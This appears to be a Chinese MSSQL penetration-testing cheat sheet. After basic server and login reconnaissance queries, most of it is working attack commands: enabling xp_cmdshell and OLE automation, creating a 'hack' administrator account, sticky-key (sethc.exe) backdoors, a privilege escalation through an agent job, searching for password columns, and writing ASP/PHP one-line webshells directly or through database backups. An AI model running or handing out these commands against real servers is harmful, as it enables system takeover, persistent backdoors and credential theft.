(1). 查看数据库的版本

  1. select @@version();

(2)查看数据库所在服务器操作系统参数

主要显示如下:
ProductName, ProductVersion, Language, Platform, Comments, CompanyName, FileDescription, FileVersion, InternalName, LegalCopyright, LegalTrademarks, OriginalFilename, PrivateBuild, SpecialBuild, WindowsVersion, ProcessorCount, ProcessorActiveMask, ProcessorType, PhysicalMemory和Product ID 等参数信息,其中Platform 显示平台是X86还是X643.

  1. 查看数据库启动的参数:exec master..xp_msver;

(3) 查看数据库启动的参数

  1. sp_configure

(4) 查看数据库启动时间

  1. select convert(varchar(30), login_time, 120) from master.. sysprocesses where spid=1

(5) 查看数据库服务器名和实例名

//

  1. print 'ServerName......:'+convert(varchar(30), @@SERVERNAME)
  2. print 'Instance.....:'+convert(varchar(30), @@SERVICENAME)

(6) 查看用户登录信息

  1. 所有数据库用户登录信息: sp_helplogins
  2. 查看所有数据库用户所属的角色信息:sp_helpsrvrolemember
  3. 查看某数据库下,对象级用户权限:sp_helprotect
  4. 查看链接服务登录情况:sp_helplinkedsrvlogin

(7) 查看数据库中所有的存储过程和函数

  1. sp_stored_procedures

(8) 查看数据库中用户和进程的信息

  1. 数据库中用户和进程的信息:sp_who SQL Server
  2. SQL Server数据库中的活动用户和进程的信息:sp_who'active'
  3. SQL Server 数据库中的锁的情况:sp_lock

(9) 恢复存储过程

  1. use master
  2. exec sp_addextendedproc xp_cmdshell, @dllname = 'xplog70.dll'
  3. exec sp_addextendedproc xp_cmdshell, @dllname ='xp_cmdshell.dll'
  4. exec sp_addextendedproc xp_enumgroups, @dllname ='xplog70.dll'
  5. exec sp_addextendedproc xp_loginconfig, @dllname = 'xplog70.dll'
  6. exec sp_addextendedproc xp_enumerrorlogs, @dllname ='xpstar.dll'
  7. exec sp_addextendedproc xp_getfiledetails, @dllname ='xpstar.dll'
  8. exec sp_addextendedproc sp_OACreate, @dllname = 'odsole70.dll'
  9. exec sp_addextendedproc sp_OADestroy, @dllname = 'odsole70.dll'
  10. exec sp_addextendedproc sp_OAGetErrorInfo, @dllname ='odsole70.dll'
  11. exec sp_addextendedproc sp_OAGetProperty, @dllname ='odsole70.dll'
  12. exec sp_addextendedproc sp_OAMethod, @dllname ='odsole70.dll'
  13. exec sp_addextendedproc sp_OASetProperty, @dllname ='odsole70.dll'
  14. exec sp_addextendedproc sp_OAStop, @dllname ='odsole70.dll'
  15. exec sp_addextendedproc xp_regaddmultistring, @dllname ='xpstar.dll'
  16. exec sp_addextendedproc xp_regdeletekey,@dllname ='xpstar.dll'
  17. exec sp_addextendedproc xp_regdeletevalue, @dllname ='xpstar.dll'
  18. exec sp_addextendedproc xp_regenumvalues, @dllname ='xpstar.dll'
  19. exec sp_addextendedproc xp_regremovemultistring, @dllname ='xpstar.dll'
  20. exec sp_addextendedproc xp_regwrite, @dllname ='xpstar.dll'
  21. exec sp_addextendedproc xp_dirtree, @dllname = 'xpstar.dll'
  22. exec sp_addextendedproc xp_regread, @dllname = 'xpstar.dll'
  23. exec sp_addextendedproc xp_fixeddrives, @dllname ='xpstar.dll'

(10) 开启和关闭 xp_cmdshell

开启:

  1. EXEC sp_configure 'show advanced options', 1;RECONFIGURE;
  2. EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

关闭:
/

  1. EXEC sp_configure 'show advanced options', 1;RECONFIGURE;
  2. EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;

禁用 advanced options:

  1. EXEC sp_configure 'show advanced options', 0 ; go reconfigure with override;

(11) xp_cmdshell 执行命令:

/

  1. exec master..xp_cmdshell "whoami";
  2. exec master..xp_cmdshell "net user hack 123456/add";
  3. exec master..xp_cmdshell "net localgroup administrators hack /add";

(12) 开启和关闭 Sp_oacreate

开启:

  1. exec sp_configure 'show advanced options',1;reconfigure;
  2. exec sp_configure 'ole automation procedures',1;recofigure;

关闭:

  1. exec sp_configure 'show advanced options',1;reconfigure;
  2. exec sp_configure 'ole automation procedures',0;reconfigure;
  3. exec sp_configure 'show advanced options',0;reconfigure;

(13) Sp_Oacreate 删除文件

  1. declare @result int
  2. declare @fso_token int
  3. exec sp_oacreate 'scripting.filesystemobject', @fso_token out
  4. exec sp_oamethod @fso_token,'deletefile',null,'c:\1.txt'
  5. exec sp_oadestroy @fso_token

(14) Sp_Oacreate 复制文件:

  1. declare @o int
  2. exec sp_oacreate 'scripting.filesystemobject',@o out
  3. exec sp_oamethod @o,'copyfile',null,'c:\1.txt','c:\2.txt'

(15)Sp_Oacreate 移动文件:

  1. declare @o int
  2. exec sp_oacreate 'scripting.filesystemobject',@o out
  3. exec sp_oamethod @o,'movefile',null,'c:\1.txt','c:\3.txt'

(16)Sp_Oacreate 加管理员用户:

  1. DECLARE @js int
  2. EXEC sp_OACreate ScriptControl’,@js OUT
  3. EXEC sp_OASetProperty @js, Language’, JavaScript
  4. EXEC sp_OAMethod @js, Eval’, NULL, var o=new
  5. ActiveXObject(“Shell.Users”);z=o.create(“user”);z.changePassword(“pass”,””);z.setting(“AccountType”)=3;’

(17) 开启和关闭 sp_makewebtask:

  1. 开启:exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',1;RECONFIGURE;
  2. 关闭:exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',0;RECONFIGURE;
  3. 禁用advanced options EXEC sp_configure 'show advanced options', 0; GO RECONFIGURE WITH OVERRIDE;

(18 )sp_makewebtask新建文件

  1. exec sp_makewebtask 'c:\windows.txt',' select ''<%25execute(request("a"))%25>'' ';;--

(19)wscript.shell执行命令:

  1. use master
  2. declare @o int
  3. exec sp_oacreate 'wscript.shell',@o out
  4. exec sp_oamethod @o,'run',null,'cmd /c "net user" > c:\test.tmp'

(20) Shell.Application执行命令

  1. -Shell.Application执行命令
  2. declare @o int
  3. exec sp_oacreate 'Shell.Application', @o out
  4. exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','','1';
  5. or
  6. exec sp_oamethod @o, 'ShellExecute',null, 'user.vbs','','c:\','','1';

(21) 开启和关闭openrowset

  1. 开启:exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
  2. 关闭:exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',0;RECONFIGURE;
  3. 禁用advanced optionsEXEC sp_configure 'show advanced options', 0; GO RECONFIGURE WITH OVERRIDE;

(22) 沙盒执行命令

—沙盒执行命令 exec master..xp_regwrite

  1. --沙盒执行命令
  2. exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 默认为3
  3. select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c echo a>c:\b.txt")')

(23) 注册表劫持粘贴键

  1. --注册表劫持粘贴键
  2. exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution
  3. Options\sethc.EXE','Debugger','REG_SZ','C:\WINDOWS\explorer.exe';

(24) sp_oacreate替换粘贴键

  1. --sp_oacreate替换粘贴键
  2. declare @o int
  3. exec sp_oacreate 'scripting.filesystemobject', @o out
  4. exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
  5. declare @oo int
  6. exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

(25) public权限提权操作

  1. --public权限提权操作
  2. USE msdb
  3. EXEC sp_add_job @job_name = 'GetSystemOnSQL', www.2cto.com
  4. @enabled = 1,
  5. @description = 'This will give a low privileged user access to
  6. xp_cmdshell',
  7. @delete_level = 1
  8. EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
  9. @step_name = 'Exec my sql',
  10. @subsystem = 'TSQL',
  11. @command = 'exec master..xp_execresultset N''select ''''exec
  12. master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''
  13. EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
  14. @server_name = 'SERVER_NAME'
  15. EXEC sp_start_job @job_name = 'GetSystemOnSQL'

(26)echo 一句话后门

  1. echo ^<%eval request(cmd)% ^>^>d:\wwwroot\ok.asp
  2. echo ^<?php @eval($_POST[cmd]);?^>^> cmd.php
  3. echo ^<%@ Page Language=Jscript%^>^<^%eval(Request.Item[pass],unsafe);%^>^> c:\Temp\cmd.aspx

(27) MSSQL 中查询 password

  1. select * from [sysobjects] where Exists(SELECT sysobjects.[name] FROM [SYSCOLUMNS] WHERE[syscolumns].ID = sysobjects.ID and [name] like '%password%')

(28) 查看C盘文件

  1. exec master.dbo.xp_cmdshell 'dir c:\';

(29)遍历C 盘目录:

  1. exec master.dbo.xp_dirtree 'c:\';

(30)获得子目录列表:

  1. exec master.dbo.xp_subdirs 'c:\';

(31)获取子目录的目录树结构

  1. exec master.dbo.xp_dirtree 'c:\';

(32)查看文件的内容:

  1. exec master.dbo.xp_cmdshell 'type c:\web\web.comfgi';

数据库备份获取 webshell

(1) 差异备份:

  1. backup database [当前数据库名] to disk = 'c:\recyler\1.bak'
  2. create table cmd (a image);
  3. insert into cmd(a) values ('<%eval request("cmd")%>');
  4. backup database (当前数据库名) to disk = '网站绝对路径‘ WITH DIFFERENTIAL,FORMAT--

(2) log备份

  1. alter database 当前数据库名 set RECOVERY FULL--
  2. CREATE TABLE CMD (A IMAGE);
  3. backup log [当前数据库名] to disk = 'c:\recyler\1.bak' with init--
  4. insert into cmd(a) values ('<%eval request("cmd")%>');
  5. backup log [当前数据库名] to disk = '网站绝对路径'
  6. drop table cmd;
  7. alter database [当前数据库名] set RECOVERY SIMPLE;